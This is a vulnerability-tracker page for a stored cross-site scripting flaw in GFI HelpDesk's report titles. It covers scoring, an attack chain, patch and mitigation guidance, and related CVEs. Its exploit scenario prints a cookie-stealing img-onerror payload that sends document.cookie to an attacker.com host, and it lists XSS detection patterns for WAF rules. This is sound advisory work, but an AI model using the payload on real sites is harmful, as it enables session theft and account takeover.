Skip to main content

Helpdesk CVE-2026-23757

| EUVDEUVD-2026-23929 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-20 VulnCheck GHSA-27jw-fcpv-p46x
5.1
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain HelpDesk user credentials
  2. Delivery
    Navigate to Reports module
  3. Exploit
    Create/edit report with XSS payload in title
  4. Install
    Submit malicious report
  5. C2
    Victim staff member clicks report link
  6. Execute
    JavaScript executes in victim browser
  7. Impact
    Session/credentials compromised

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to possess valid HelpDesk user credentials with permission to create or edit reports in the Reports module - the vulnerability does not affect unauthenticated access. The payload only executes when a staff member with access to the Manage Reports interface views the malicious report and interacts with the link, making user interaction a hard prerequisite. Organizations with strict role-based access controls limiting report creation to senior administrators face reduced risk compared to those granting report-creation rights broadly. Default HelpDesk installations typically restrict report management to administrative users, which constrains the attacker pool but does not eliminate insider threat vectors. The vulnerability does not execute within REST API contexts or non-web clients, limiting attack surface to the web interface specifically.

Impact

This vulnerability presents moderate real-world risk constrained by multiple exploitation factors. CVSS 5.1 reflects the limited attack surface: remote network access (AV:N) and low complexity (AC:L) are offset by required authentication (PR:L), mandatory user interaction (UI:P), and limited scope (scope appears local per SC:L/SI:L/SA:N indicators). The stored XSS nature means payloads persist, increasing likelihood that multiple staff will encounter the malicious report over time. However, the attacker must have legitimate HelpDesk user access to inject the payload, limiting threat actors to insiders or compromised accounts. EPSS score not provided in input data, but exploitation probability is elevated beyond typical XSS due to persistent storage and guaranteed execution environment (internal staff interface). KEV status not indicated, suggesting no active widespread exploitation detected by CISA. The vendor patch availability and absence of public exploit code further reduce immediate risk, though organizations with large internal HelpDesk user bases face greater exposure to insider threats.

Exploit ScenarioDerived

A HelpDesk operator with legitimate user credentials creates a report with the title 'Monthly Sales Report<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)" />'. When the report is saved, the payload is stored in the database. Later, a manager clicks the report link in the Manage Reports interface to review it. The manager's browser executes the embedded JavaScript, exfiltrating the manager's session cookie to the attacker's server, enabling account takeover of a higher-privileged user.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 20, 2026

Stored cross-site scripting in GFI HelpDesk before version 4.99.10 allows authenticated attackers to inject arbitrary JavaScript into report titles via the Reports module, with payload execution triggered when staff members access the report link in the Manage Reports interface. The vulnerability requires attacker authentication and user interaction (clicking the report link), limiting real-world impact to internal staff compromise scenarios rather than mass exploitation. Patch is available from the vendor.

RemediationAI

Upgrade GFI HelpDesk to version 4.99.10 or later, which includes HTML sanitization for the report title parameter. Organizations unable to patch immediately should restrict access to the Reports module to a minimal set of trusted administrators by role-based access control settings in HelpDesk administrative interface. Additionally, disable the creation or editing of reports by lower-privilege users if business requirements permit; this reduces the pool of accounts capable of injecting payloads. Monitor the SWIFT_Report table in the GFI HelpDesk database for suspicious characters in the title field (script tags, event handlers like onerror/onclick) as a temporary detection control, though this does not prevent execution of already-stored payloads. Web application firewall (WAF) rules can be configured to flag or block report submissions containing common XSS patterns (e.g., <script>, javascript:, onerror=), though this may require tuning to avoid false positives on legitimate special characters in report titles. Refer to the vendor advisory at https://www.vulncheck.com/advisories/gfi-helpdesk-stored-xss-via-reports-module for detailed patching instructions and version verification.

Affected VersionsENISA

Helpdesk 0 <4.99.10

Affected Packages

euvd helpdesk fix: 4.99.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GFI HelpDesk's Reports module uses the SWIFT_Report::Create() function to process report creation and editing. The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), where the title parameter lacks HTML sanitization before storage in the database. When report links are rendered in the Manage Reports interface, the unsanitized title is included in HTML context without encoding, allowing stored JavaScript payloads to execute in the browser of any staff member who views that report. The SWIFT framework (a PHP-based reporting engine used by GFI products) does not appear to provide automatic output encoding for report metadata.

Know when Helpdesk gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
Apr 20, 2026 - 18:22 NVD
5.4 (MEDIUM) 5.1 (MEDIUM)
Patch released
Apr 20, 2026 - 18:00 nvd
Patch available
CVE Published
Apr 20, 2026 - 17:27 nvd
MEDIUM 5.1

DescriptionCVE.org

GFI HelpDesk before 4.99.10 contains a stored cross-site scripting vulnerability in the Reports module where the title parameter is passed directly to SWIFT_Report::Create() without HTML sanitization. Attackers can inject arbitrary JavaScript into the report title field when creating or editing a report, and the payload executes when staff members view and click the affected report link in the Manage Reports interface.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-10655 HIGH POC
8.6 Dec 09

SQL injection in Frappe HelpDesk 1.14.0 dashboard functionality allows authenticated attackers to execute arbitrary SQL

CVE-2018-0714 CRITICAL
9.8 Aug 13

Command injection vulnerability in Helpdesk versions 1.1.21 and earlier in QNAP QTS 4.2.6 build 20180531, QTS 4.3.3 buil

CVE-2026-78434 MEDIUM POC
5.5 Aug 24

Unauthenticated actors can post ticket replies in Faveo Helpdesk versions 2.0.0 through 2.0.3 by sending crafted request

CVE-2020-11431 CRITICAL
9.1 May 07

The documentation component in i-net Clear Reports 16.0 to 19.2, HelpDesk 8.0 to 8.3, and PDFC 4.3 to 6.2 allows a remot

CVE-2021-28814 HIGH
8.8 Jun 11

An improper access control vulnerability has been reported to affect QNAP NAS. Rated high severity (CVSS 8.8), this vuln

CVE-2024-58343 MEDIUM POC
4.3 Apr 16

Vision Helpdesk before 5.7.0 (patched in 5.6.10) allows attackers to read user profiles via modified serialized cookie d

CVE-2024-50394 HIGH
7.7 Mar 07

An improper certificate validation vulnerability has been reported to affect Helpdesk. Rated high severity (CVSS 7.7), t

CVE-2020-2500 MEDIUM
6.5 Jul 01

This improper access control vulnerability in Helpdesk allows attackers to get control of QNAP Kayako service. Rated med

CVE-2026-23758 MEDIUM
6.4 Apr 20

GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject persistent JavaScript into ticket subjec

CVE-2026-78435 LOW POC
2.0 Aug 24

Path traversal in Faveo Helpdesk versions 2.0.0 through 2.0.3 enables remote authenticated administrators to delete arbi

CVE-2026-23756 MEDIUM
5.1 Apr 20

Stored cross-site scripting in GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject arbitrary

CVE-2026-23753 MEDIUM
4.8 Apr 20

GFI HelpDesk before version 4.99.9 contains a stored cross-site scripting vulnerability in language management where the

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy